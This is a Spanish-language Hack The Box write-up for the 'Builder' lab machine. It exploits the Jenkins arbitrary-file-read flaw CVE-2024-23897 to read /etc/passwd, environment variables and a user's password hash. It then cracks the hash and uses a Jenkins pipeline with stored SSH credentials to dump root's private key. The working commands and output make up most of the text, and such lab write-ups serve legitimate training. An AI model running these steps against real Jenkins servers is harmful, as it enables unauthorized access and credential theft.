Descripción

Builder es una máquina de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Vulnerabilidad de Jenkins permitiendo leer archivos del sistema de archivos, revelando credenciales de usuario
  • Elevación de privilegios mediante una clave SSH almacenada desde el usuario de root.

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.10.

$ ping -c 3 10.10.11.10
PING 10.10.11.10 (10.10.11.10) 56(84) bytes of data.
64 bytes from 10.10.11.10: icmp_seq=1 ttl=63 time=117 ms
64 bytes from 10.10.11.10: icmp_seq=2 ttl=63 time=117 ms
64 bytes from 10.10.11.10: icmp_seq=3 ttl=63 time=117 ms

--- 10.10.11.10 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 116.574/116.621/116.648/0.033 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.10 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.10
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 2.08 seconds

Obtenemos dos puertos abiertos: 22 y 8080.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.10.11.10 -sV -sC -p22,8080 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.10
Host is up (0.12s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open  http    Jetty 10.0.18
|_http-title: Dashboard [Jenkins]
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(10.0.18)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.59 seconds

Obtenemos dos servicios: uno Secure Shell (SSH) y otro protocolo de transferencia de hipertexto (HTTP). Como no tenemos credenciales factibles para el servicio SSH, vamos a movernos al servicio HTTP. Agregamos la cadena builder.htb al archivo /etc/hosts.

$ echo '10.10.11.10 builder.htb' | sudo tee -a /etc/hosts

Al enumerar el sitio web, encontramos una instancia de Jenkins 2.441. Jenkins 2.441 y versiones anteriores no desactivan una característica de su comando de consola que reemplaza un ‘@’ carácter seguido de una ruta al archivo en un argumento con el contenido del archivo, permitiendo a los atacantes no autenticados leer archivos arbitrarios en el sistema de archivos del controlador Jenkins, CVE-2024-23897.

Exploitación

Podemos explotar esta vulnerabilidad descargando el archivo jenkins-cli.jar del servidor.

$ $ wget http://builder.htb:8080/jnlpJars/jenkins-cli.jar
$ java -jar jenkins-cli.jar -s http://builder.htb:8080 list-jobs '@/etc/passwd' 

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar list-jobs [NAME]
Lists all jobs in a specific view or item group.
 NAME : Name of the view (default: root:x:0:0:root:/root:/bin/bash)

Ejecutamos una línea de comandos y luego se revela la ruta y algunas líneas del archivo. Recuperamos el nombre del servidor.

$ java -jar jenkins-cli.jar -s http://builder.htb:8080 list-jobs '@/etc/hostname'
ERROR: No view or item group with the given name '0f52c222a4cc' found.

El nombre del host es 0f52c222a4cc. Esto significa que la aplicación Jenkins podría estar ejecutándose dentro de un contenedor de Docker. Podemos verificar las variables de entorno.

$ java -jar jenkins-cli.jar -s http://builder.htb:8080 list-jobs '@/proc/self/environ'                                                             130 ↵

ERROR: No view or item group with the given name 'HOSTNAME=0f52c222a4ccJENKINS_UC_EXPERIMENTAL=https://updates.jenkins.io/experimentalJAVA_HOME=/opt/java/openjdkJENKINS_INCREMENTALS_REPO_MIRROR=https://repo.jenkins-ci.org/incrementalsCOPY_REFERENCE_FILE_LOG=/var/jenkins_home/copy_reference_file.logPWD=/JENKINS_SLAVE_AGENT_PORT=50000JENKINS_VERSION=2.441HOME=/var/jenkins_homeLANG=C.UTF-8JENKINS_UC=https://updates.jenkins.ioSHLVL=0JENKINS_HOME=/var/jenkins_homeREF=/usr/share/jenkins/refPATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin' found.

Encontramos que el directorio HOME del usuario es /var/jenkins_home, coincidente con el de la imagen de Docker. Después de desplegar la imagen de Docker en un contenedor en nuestra máquina, encontramos que después de crear el cuenta de administrador se crean unos pocos archivos. Un archivo .xml con la lista de usuarios se crea en el /var/jenkins_home/users/users.xml. También en este caso, la cuenta de administrador tiene una carpeta en formato /var/jenkins_home/users/admin_<larga_cadena_de_numeros>. Dentro de la carpeta del usuario un archivo config.xml con el hash del password de inicio de sesión. Como estamos limitados en el número de líneas que podemos ver, intentamos otro comando, como connect-node

$ java -jar jenkins-cli.jar -s http://builder.htb:8080 connect-node '@/var/jenkins_home/users/users.xml'                                             3 ↵
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
      <string>jennifer_12108429903186576833</string>: No such agent "      <string>jennifer_12108429903186576833</string>" exists.
  <idToDirectoryNameMap class="concurrent-hash-map">: No such agent "  <idToDirectoryNameMap class="concurrent-hash-map">" exists.
    <entry>: No such agent "    <entry>" exists.
      <string>jennifer</string>: No such agent "      <string>jennifer</string>" exists.
  <version>1</version>: No such agent "  <version>1</version>" exists.
</hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists.
  </idToDirectoryNameMap>: No such agent "  </idToDirectoryNameMap>" exists.
<hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists.
    </entry>: No such agent "    </entry>" exists.

ERROR: Error occurred while performing this command, see previous stderr output.

Encuentramos al usuario jennifer con carpeta jennifer_12108429903186576833, vamos a recuperar el archivo config.xml.

$ java -jar jenkins-cli.jar -s http://builder.htb:8080 connect-node '@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml'
...
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
  <fullName>jennifer</fullName>: No such agent "  <fullName>jennifer</fullName>" exists.
      <seed>6841d11dc1de101d</seed>: No such agent "      <seed>6841d11dc1de101d</seed>" exists.
  <id>jennifer</id>: No such agent "  <id>jennifer</id>" exists.
  <version>10</version>: No such agent "  <version>10</version>" exists.
      <tokenStore>: No such agent "      <tokenStore>" exists.
          <filterExecutors>false</filterExecutors>: No such agent "          <filterExecutors>false</filterExecutors>" exists.
    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>: No such agent "    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>" exists.
      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such agent "      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>" exists.
...

Obtenemos el hash #jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a. Es un hash simple de bcrypt que se puede romper con John The Ripper.

$ echo 'jennifer:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a' > hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess         (jennifer)     
1g 0:00:00:00 DONE 2.083g/s 300.0p/s 300.0c/s 300.0C/s 123456..sandra
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Encontramos la contraseña del usuario jennifer, princesa. Podemos iniciar sesión en la instancia de Jenkins. En el perfil del usuario de jennifer, sección de Credentials, encontramos que hay un usuario SSH con clave privada cargada. Notamos que la identificación del credencial es 1. Observamos que esto es la clave privada del usuario root, por lo que suponemos que existe un archivo /root/.ssh/id_rsa y como tenemos la clave privada cargada, podemos conectarnos a la máquina desde Jenkins y obtener la clave creando una nueva pipeline. De la página principal, creamos una nueva tarea de tipo pipeline. Vamos a utilizar el siguiente código como script del pipeline.

pipeline {
    agent any

    stages {
        stage('SSH Command Execution') {
            steps {
                sshagent(['1']) {
                    sh '''
                        ssh -o StrictHostKeyChecking=no root@10.10.11.10 "cat /root/.ssh/id_rsa"
                    '''
                }
            }
        }
    }
}

Guardamos la tarea y hacemos clic en la opción Build Now. Después de que la tarea se complete, aparecerá en la pestaña Build History. Luego, en la página de la tarea podemos recuperar la clave desde la sección Console Output. Lo guardamos en un archivo y luego nos conectamos mediante SSH para tener una sesión de terminal de usuario root.

$ nano id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa root@builder.htb
...
root@builder:~# id
uid=0(root) gid=0(root) groups=0(root)

Post-Explotación

En la console de root podemos obtener ambas flags.

root@builder:~# cat /home/jennifer/user.txt 
<REDACTED>
root@builder:~# cat /root/root.txt
<REDACTED>